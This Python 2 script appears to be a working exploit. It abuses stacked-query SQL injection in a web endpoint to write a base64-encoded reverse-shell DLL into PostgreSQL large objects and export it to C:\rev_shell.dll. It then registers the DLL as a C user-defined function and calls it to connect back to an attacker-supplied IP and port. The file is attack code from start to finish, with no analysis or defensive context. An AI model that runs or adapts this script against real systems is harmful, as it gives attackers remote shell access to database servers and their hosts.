import requests, sys, urllib, string, random, time
requests.packages.urllib3.disable_warnings()
import binascii

#proxies = {'http':'http://127.0.0.1:8080','https':'http://127.0.0.1:8080'}

with open('encoded_reverse_shell.txt', 'rb') as file:
  udf = file.read()
  print len(udf)
loid = 1234

def log(msg):
  print msg

def make_request(url, sql):
  log("[*] Executing query: %s" % sql[0:80])
  r = requests.get( url % sql, proxies=proxies, verify=False)
  #r = requests.get( url % sql, proxies=proxies, verify=False) #do with proxies
  return r

def delete_lo(url, loid):
  log("[+] Deleting existing LO...")
  sql = "SELECT+lo_unlink(%d)" % loid
  make_request(url, sql)

def create_lo(url, loid):
  log("[+] Creating LO for UDF injection...")
  sql = "SELECT lo_import($$C:\\windows\\win.ini$$,%d)" % loid
  make_request(url, sql)
   
def inject_udf(url, loid):
  log("[+] Injecting payload of length %d into LO..." % len(udf))
  for i in range(0,((len(udf)-1)/4096)+1):
    print i
    udf_chunk = udf[i*4096:(i+1)*4096]
    print udf_chunk
    if i == 0:
      sql = "UPDATE PG_LARGEOBJECT SET data=decode($$%s$$, $$base64$$) where loid=%d and pageno=%d" % (udf_chunk, loid, i)
    else:
      sql = "INSERT INTO PG_LARGEOBJECT (loid, pageno, data) VALUES (%d, %d, decode($$%s$$, $$base64$$))" % (loid, i, udf_chunk)
    make_request(url, sql)

def export_udf(url, loid):
  log("[+] Exporting UDF library to filesystem...")
  sql = "SELECT lo_export(%d, $$C:\\rev_shell.dll$$)" % loid
  make_request(url, sql)
   
def create_udf_func(url):
  log("[+] Creating function...")
  sql = "create or replace function rev_shell(text, integer) returns VOID as $$C:\\rev_shell.dll$$, $$connect_back$$ language C strict"
  make_request(url, sql)

def trigger_udf(url, ip, port):
  log("[+] Launching reverse shell...")
  sql = "select rev_shell($$%s$$, %d)" % (ip, int(port))
  make_request(url, sql)
   
if __name__ == '__main__':
  try:
    server = sys.argv[1].strip()
    attacker = sys.argv[2].strip()
    port = sys.argv[3].strip()
  except IndexError:
    print "[-] Usage: %s serverIP:port attackerIP port" % sys.argv[0]
    sys.exit()
       
  sqli_url  = "https://"+server+"/card=1&userId=1;%s;--" 
  delete_lo(sqli_url, loid)   
  create_lo(sqli_url, loid)
  inject_udf(sqli_url, loid)
  export_udf(sqli_url, loid)
  create_udf_func(sqli_url)
  trigger_udf(sqli_url, attacker, port)